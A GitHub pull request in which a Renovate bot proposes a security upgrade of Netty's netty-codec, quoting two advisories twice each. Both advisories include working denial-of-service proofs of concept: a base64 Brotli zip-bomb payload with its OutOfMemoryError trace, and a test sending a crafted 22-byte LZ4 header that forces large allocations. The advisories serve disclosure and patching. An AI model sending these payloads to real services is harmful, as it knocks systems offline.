Skip to content

Update dependency io.netty:netty-codec to v4.1.133.Final [SECURITY] (main)#33

Draft
renovatebot-confluentinc[bot] wants to merge 1 commit into
mainfrom
renovate/main-maven-io.netty-netty-codec-vulnerability
Draft

Update dependency io.netty:netty-codec to v4.1.133.Final [SECURITY] (main)#33
renovatebot-confluentinc[bot] wants to merge 1 commit into
mainfrom
renovate/main-maven-io.netty-netty-codec-vulnerability

Conversation

@renovatebot-confluentinc

@renovatebot-confluentinc renovatebot-confluentinc Bot commented Sep 4, 2025

Copy link
Copy Markdown

For any questions/concerns about this PR, please review the Renovate Bot wiki/FAQs, or the #renovatebot Slack channel.

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
io.netty:netty-codec (source) 4.1.118.Final4.1.133.Final age adoption passing confidence

Warning

Some dependencies could not be looked up. Check the warning logs for more information.


Netty's decoders vulnerable to DoS via zip bomb style attack

CVE-2025-58057 / GHSA-3p8m-j85q-pgmj

More information

Details

Summary

With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.

Details

BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.

Tested on 4.1.118, but there were no changes to the decoder since.

PoC

Run this test case with -Xmx1G:

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T {
    public static void main(String[] args) {
        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
    }
}

Error:

Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
	at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
	at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
	at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
	at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
	at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
	at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
	at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
	at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
	at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
	at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
	at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
	at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
	at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
	at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
	at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
	at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
	at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
	at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
	at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
	at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
	at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
	at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
	at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
	at io.netty.handler.codec.compression.T.main(T.java:11)
Impact

DoS for anyone using BrotliDecoder on untrusted input.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Netty Lz4FrameDecoder is vulnerable to resource exhaustion

CVE-2026-42583 / GHSA-mj4r-2hfc-f8p6

More information

Details

Summary

Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.

Details

io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.

PoC

The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB

    @&#8203;Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @&#8203;Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @&#8203;Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @&#8203;Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }
Impact

Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Netty's decoders vulnerable to DoS via zip bomb style attack

CVE-2025-58057 / GHSA-3p8m-j85q-pgmj

More information

Details

Summary

With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.

Details

BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.

Tested on 4.1.118, but there were no changes to the decoder since.

PoC

Run this test case with -Xmx1G:

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T {
    public static void main(String[] args) {
        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
    }
}

Error:

Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
	at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
	at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
	at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
	at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
	at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
	at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
	at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
	at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
	at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
	at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
	at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
	at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
	at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
	at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
	at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
	at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
	at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
	at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
	at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
	at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
	at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
	at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
	at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
	at io.netty.handler.codec.compression.T.main(T.java:11)
Impact

DoS for anyone using BrotliDecoder on untrusted input.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Netty Lz4FrameDecoder is vulnerable to resource exhaustion

CVE-2026-42583 / GHSA-mj4r-2hfc-f8p6

More information

Details

Summary

Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.

Details

io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.

PoC

The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB

    @&#8203;Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @&#8203;Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @&#8203;Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @&#8203;Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }
Impact

Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate.

@renovatebot-confluentinc renovatebot-confluentinc Bot force-pushed the renovate/main-maven-io.netty-netty-codec-vulnerability branch from c453f4e to 4e976db Compare April 30, 2026 19:57
@renovatebot-confluentinc renovatebot-confluentinc Bot force-pushed the renovate/main-maven-io.netty-netty-codec-vulnerability branch from 4e976db to 412e941 Compare May 7, 2026 15:36
@renovatebot-confluentinc renovatebot-confluentinc Bot changed the title Update dependency io.netty:netty-codec to v4.1.125.Final [SECURITY] (main) Update dependency io.netty:netty-codec to v4.1.133.Final [SECURITY] (main) May 7, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants